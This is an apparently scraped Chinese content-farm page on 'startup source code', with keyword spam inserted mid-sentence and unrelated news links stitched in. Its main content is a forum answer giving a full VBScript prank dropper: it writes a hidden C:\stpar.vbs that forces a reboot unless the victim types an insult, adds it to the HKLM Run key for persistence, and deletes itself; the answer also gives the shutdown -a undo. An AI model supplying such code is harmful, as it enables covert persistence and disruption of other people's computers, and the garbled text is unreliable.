皮皮网

【ymnets 源码 下载】【源码 开源推荐】【quick ui源码】开机启动源码_开机启动源码是什么

时间:2024-11-20 16:53:30 来源:sentinel限流源码解析

1.帮我改一下开机自动启动的开机开机vbe脚本
2.易语言怎么写一个程序让他开机自动运行呢?比如说时钟 开机自动运行的源码~怎么写啊?
3.E语言写开机自动运行的源码
4.让电脑不断重启的代码是什么?

开机启动源码_开机启动源码是什么

帮我改一下开机自动启动的vbe脚本

       上面代码保存为vbs放在启动项里就行

       如果往上面那整人的脚本加代码的话,你得运行一次脚本

       或者

       Dim AutoRunProgram

       Set AutoRunProgram = WScript.CreateObject("WScript.shell")

       RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"

       Type_Name = "REG_SZ"

       Key_Name = "stpar.vbs"

       Key_data = "C:\stpar.vbs" (你想运行程序的启动启动路径 注释)

       AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name

       以上的vbs是通过修改注册表加入启动项的 开机启动stpar.vbs

       你把整人的脚本保存后放在C:\ 起名stpar.vbs 再运行以上脚本就行

       但这些启动项都隐藏不了,都能用或其他软件查看到

       给你重新写源码,源码源码ymnets 源码 下载保存后运行,开机开机即可开机运行stpar.vbs(整人代码) 下面代码会自删的

       运行后会在C:\建stpar.vbs 且 注册表加入开机启动,并隐藏stpar.vbs 文件

       Set FSO=CreateObject("Scripting.FileSystemObject")

       Set f=FSO.OpenTextFile("C:\stpar.vbs",启动启动源码 开源推荐2,True)

       f.WriteLine "on error resume next "

       f.WriteLine "dim WSHshellA"

       f.WriteLine "set WSHshellA = wscript.createobject("&chr()&"wscript.shell"&chr()&") "

       f.WriteLine "WSHshellA.run "&chr()&"cmd.exe /c shutdown -r -t -c "&chr()&""&chr()&"说我是猪,不说我是猪一分钟内关你电脑,不信的源码源码quick ui源码话就试试~~"&chr()&""&chr()&" "&chr()&",0 ,true"

       f.WriteLine "dim a"

       f.WriteLine "do while(a <> "&chr()&"我是猪"&chr()&")"

       f.WriteLine "a = inputbox ("&chr()&"说我是猪,就不关你电脑,快点哦,开机开机时间只有一分钟,启动启动说"&chr()&""&chr()&"我是源码源码猪"&chr()&","&chr()&"说不说"&chr()&","&chr()&"不说"&chr()&",,)"

       f.WriteLine "msgbox chr() + chr() + chr() + a,0,"&chr()&"MsgBox"&chr()&""

       f.WriteLine "loop"

       f.WriteLine "msgbox chr() + chr() + chr() + "&chr()&"早说嘛~~!"&chr()&""

       f.WriteLine "dim WSHshell"

       f.WriteLine "set WSHshell = wscript.createobject("&chr()&"wscript.shell"&chr()&")"

       f.WriteLine "WSHshell.run "&chr()&"cmd.exe /c shutdown -a"&chr()&",开机开机0 ,true"

       f.WriteLine "msgbox chr() + chr() + chr() + "&chr()&"o(∩_∩)o...哈哈,真过瘾~~!启动启动!源码源码要记得我吖~~"&chr()&""

       Dim AutoRunProgram

       Set AutoRunProgram = WScript.CreateObject("WScript.shell")

       RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"

       Type_Name = "REG_SZ"

       Key_Name = "stpar.vbs"

       Key_data = "C:\stpar.vbs"

       AutorunProgram.RegWrite regpath&Key_Name,开机开机源码图制作Key_data,Type_Name

       Set a = CreateObject("Scripting.FileSystemObject")

       a.GetFile("c:\stpar.vbs").Attributes = 2

       set fso=createobject("scripting.filesystemobject")

       fso.DeleteFile WScript.ScriptFullName

       破解 运行 输入shutdown -a

       接着把进程里的 wscript.exe 结束就行

易语言怎么写一个程序让他开机自动运行呢?比如说时钟 开机自动运行的源码~怎么写啊?

       易语言怎么写一个程序让他开机自动运行呢?比如说时钟

       开机自动运行的源码~怎么写啊?

       

推荐资讯
带微信的源码_带微信的源码怎么弄

带微信的源码_带微信的源码怎么弄

天下晨間新聞  和輝達一樣受惠AI,博通業績展望如何|天下雜誌

天下晨間新聞  和輝達一樣受惠AI,博通業績展望如何|天下雜誌

富過三代首重傳承價值觀 海外不動產成資產管理重要布局|天下雜誌

富過三代首重傳承價值觀 海外不動產成資產管理重要布局|天下雜誌

天下晨間新聞  央行再打房,這些人受影響最大|天下雜誌

天下晨間新聞  央行再打房,這些人受影響最大|天下雜誌

c语言数据结构源码_c语言数据结构源码是什么

c语言数据结构源码_c语言数据结构源码是什么

天下財經週報:星宇航空股東會登場,張國煒怎麼看航空業前景?|天下雜誌

天下財經週報:星宇航空股東會登場,張國煒怎麼看航空業前景?|天下雜誌

copyright © 2016 powered by 皮皮网   sitemap